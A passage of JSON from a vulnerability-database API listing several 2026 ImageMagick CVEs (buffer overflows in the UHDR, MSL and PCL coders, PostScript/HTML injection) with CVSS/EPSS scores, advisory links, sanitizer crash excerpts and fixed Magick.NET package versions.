write","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28693.json","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28693.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28693","reference_id":"","reference_type":"","scores":[{"value":"0.00059","scoring_system":"epss","scoring_elements":"0.18595","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00059","scoring_system":"epss","scoring_elements":"0.18515","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00059","scoring_system":"epss","scoring_elements":"0.18798","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00059","scoring_system":"epss","scoring_elements":"0.18648","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00059","scoring_system":"epss","scoring_elements":"0.18744","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00065","scoring_system":"epss","scoring_elements":"0.20102","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00065","scoring_system":"epss","scoring_elements":"0.19884","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00065","scoring_system":"epss","scoring_elements":"0.19914","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00065","scoring_system":"epss","scoring_elements":"0.19919","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00065","scoring_system":"epss","scoring_elements":"0.20029","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00065","scoring_system":"epss","scoring_elements":"0.2003","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00065","scoring_system":"epss","scoring_elements":"0.20026","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00065","scoring_system":"epss","scoring_elements":"0.20148","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00065","scoring_system":"epss","scoring_elements":"0.20044","published_at":"2026-04-13T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28693"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28693","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28693"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"8.6","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-hffp-q43q-qq76","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-03-10T15:57:44Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-hffp-q43q-qq76"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28693","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28693"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445888","reference_id":"2445888","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445888"},{"reference_url":"https://github.com/advisories/GHSA-hffp-q43q-qq76","reference_id":"GHSA-hffp-q43q-qq76","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-hffp-q43q-qq76"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:6713","reference_id":"RHSA-2026:6713","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:6713"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/1060799?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.4"}],"aliases":["CVE-2026-28693","GHSA-hffp-q43q-qq76"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-x8c6-9pse-xkc8"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/21101?format=json","vulnerability_id":"VCID-xbsu-ac6g-53fn","summary":"ImageMagick has heap-buffer-overflow via signed integer overflow in WriteUHDRImage when writing UHDR images with large dimensions\n`WriteUHDRImage` in `coders/uhdr.c` uses `int` arithmetic to compute the pixel buffer size. When image dimensions are large, the multiplication overflows 32-bit `int`, causing an undersized heap allocation followed by an out-of-bounds write. This can crash the process or potentially lead to an out of bounds heap write.\n```\n==1575126==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fc382ef3820 at pc 0x5560d31f229f bp 0x7ffe865f9530 sp 0x7ffe865f9520\nWRITE of size 8 at 0x7fc382ef3820 thread T0\n    #0 0x5560d31f229e in WriteUHDRImage coders/uhdr.c:807\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25794.json","reference_id":"","reference_type":"","scores":[{"value":"8.2","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25794.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25794","reference_id":"","reference_type":"","scores":[{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.04999","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05003","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.04961","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.04924","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00058","scoring_system":"epss","scoring_elements":"0.18197","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00058","scoring_system":"epss","scoring_elements":"0.18251","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00058","scoring_system":"epss","scoring_elements":"0.17952","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00058","scoring_system":"epss","scoring_elements":"0.18038","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00058","scoring_system":"epss","scoring_elements":"0.18098","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00058","scoring_system":"epss","scoring_elements":"0.18107","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00058","scoring_system":"epss","scoring_elements":"0.18063","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00058","scoring_system":"epss","scoring_elements":"0.18013","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00058","scoring_system":"epss","scoring_elements":"0.17955","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00058","scoring_system":"epss","scoring_elements":"0.17966","published_at":"2026-04-18T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25794"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"8.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"8.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"8.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/ffe589df5ff8ce1433daa4ccb0d2a9fadfbe30ed","reference_id":"","reference_type":"","scores":[{"value":"8.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/ffe589df5ff8ce1433daa4ccb0d2a9fadfbe30ed"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-vhqj-f5cj-9x8h","reference_id":"","reference_type":"","scores":[{"value":"8.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-26T15:04:46Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-vhqj-f5cj-9x8h"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25794","reference_id":"","reference_type":"","scores":[{"value":"8.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25794"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442110","reference_id":"2442110","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442110"},{"reference_url":"https://github.com/advisories/GHSA-vhqj-f5cj-9x8h","reference_id":"GHSA-vhqj-f5cj-9x8h","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-vhqj-f5cj-9x8h"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-25794","GHSA-vhqj-f5cj-9x8h"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-xbsu-ac6g-53fn"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/24675?format=json","vulnerability_id":"VCID-y4hn-6bv6-jugw","summary":"ImageMagick: MSL attribute stack buffer overflow leads to out of bounds write.\nA stack buffer overflow occurs when processing the an attribute in msl.c. A long value overflows a fixed-size stack buffer, leading to memory corruption.\n\n```\n=================================================================\n==278522==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffdb8c76984 at pc 0x55a4bf16f507 bp 0x7ffdb8c75bc0 sp 0x7ffdb8c75bb0\nWRITE of size 1 at 0x7ffdb8c76984 thread T0\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25968.json","reference_id":"","reference_type":"","scores":[{"value":"7.4","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25968.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25968","reference_id":"","reference_type":"","scores":[{"value":"0.00061","scoring_system":"epss","scoring_elements":"0.18911","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00061","scoring_system":"epss","scoring_elements":"0.19061","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00061","scoring_system":"epss","scoring_elements":"0.19141","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00061","scoring_system":"epss","scoring_elements":"0.19194","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00061","scoring_system":"epss","scoring_elements":"0.19201","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00061","scoring_system":"epss","scoring_elements":"0.19155","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00061","scoring_system":"epss","scoring_elements":"0.191","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00061","scoring_system":"epss","scoring_elements":"0.19059","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00061","scoring_system":"epss","scoring_elements":"0.1907","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00061","scoring_system":"epss","scoring_elements":"0.19079","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00061","scoring_system":"epss","scoring_elements":"0.18969","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00061","scoring_system":"epss","scoring_elements":"0.18954","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00061","scoring_system":"epss","scoring_elements":"0.19294","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00061","scoring_system":"epss","scoring_elements":"0.19346","published_at":"2026-04-04T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25968"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25968","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25968"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"7.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"7.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"7.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-3mwp-xqp2-q6ph","reference_id":"","reference_type":"","scores":[{"value":"7.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-3mwp-xqp2-q6ph"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25968","reference_id":"","reference_type":"","scores":[{"value":"7.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25968"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442125","reference_id":"2442125","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442125"},{"reference_url":"https://github.com/advisories/GHSA-3mwp-xqp2-q6ph","reference_id":"GHSA-3mwp-xqp2-q6ph","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-3mwp-xqp2-q6ph"},{"reference_url":"https://usn.ubuntu.com/8069-1/","reference_id":"USN-8069-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/8069-1/"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-25968","GHSA-3mwp-xqp2-q6ph"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-y4hn-6bv6-jugw"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/24481?format=json","vulnerability_id":"VCID-y58b-be93-hbfd","summary":"ImageMagick: Write heap-buffer-overflow in PCL encoder via undersized output buffer\nA heap-buffer-overflow vulnerability exists in the PCL encode due to an undersized output buffer allocation.\n\n```\nWRITE of size 1 at 0x7e79f91f31a0 thread T0\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28686.json","reference_id":"","reference_type":"","scores":[{"value":"6.8","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28686.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28686","reference_id":"","reference_type":"","scores":[{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04143","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04189","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04175","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04127","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04109","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.04841","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05016","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05021","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.0498","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.04944","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.04799","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.0479","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.04881","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.04861","published_at":"2026-04-12T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28686"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28686","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28686"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"8.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4","reference_id":"","reference_type":"","scores":[{"value":"6.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"6.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-467j-76j7-5885","reference_id":"","reference_type":"","scores":[{"value":"6.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T14:24:19Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-467j-76j7-5885"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28686","reference_id":"","reference_type":"","scores":[{"value":"6.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28686"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445889","reference_id":"2445889","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445889"},{"reference_url":"https://github.com/advisories/GHSA-467j-76j7-5885","reference_id":"GHSA-467j-76j7-5885","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-467j-76j7-5885"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/1060799?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.4"}],"aliases":["CVE-2026-28686","GHSA-467j-76j7-5885"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-y58b-be93-hbfd"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/22330?format=json","vulnerability_id":"VCID-yx7r-r7ez-7uhp","summary":"ImageMagick: Code Injection via PostScript header in ps coders\nThe ps encoders, responsible for writing PostScript files, fails to sanitize the input before writing it into the PostScript header.  An attacker can provide a malicious file and inject arbitrary PostScript code. When the resulting file is processed by a printer or a viewer (like Ghostscript), the injected code is interpreted and executed.\n\nThe html encoder does not properly escape strings that are written to in the html document. An attacker can provide a malicious file and injection arbitrary html code.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25797.json","reference_id":"","reference_type":"","scores":[{"value":"5.7","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25797.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25797","reference_id":"","reference_type":"","scores":[{"value":"0.00025","scoring_system":"epss","scoring_elements":"0.068","published_at":"2026-04-02T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.00827","published_at":"2026-04-26T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.00826","published_at":"2026-04-24T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.00823","published_at":"2026-04-21T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.00779","published_at":"2026-04-18T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.00775","published_at":"2026-04-16T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.00786","published_at":"2026-04-09T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.00822","published_at":"2026-04-29T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.00774","published_at":"2026-04-12T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.0078","published_at":"2026-04-11T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.00789","published_at":"2026-04-04T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.0079","published_at":"2026-04-08T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25797"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25797","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25797"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"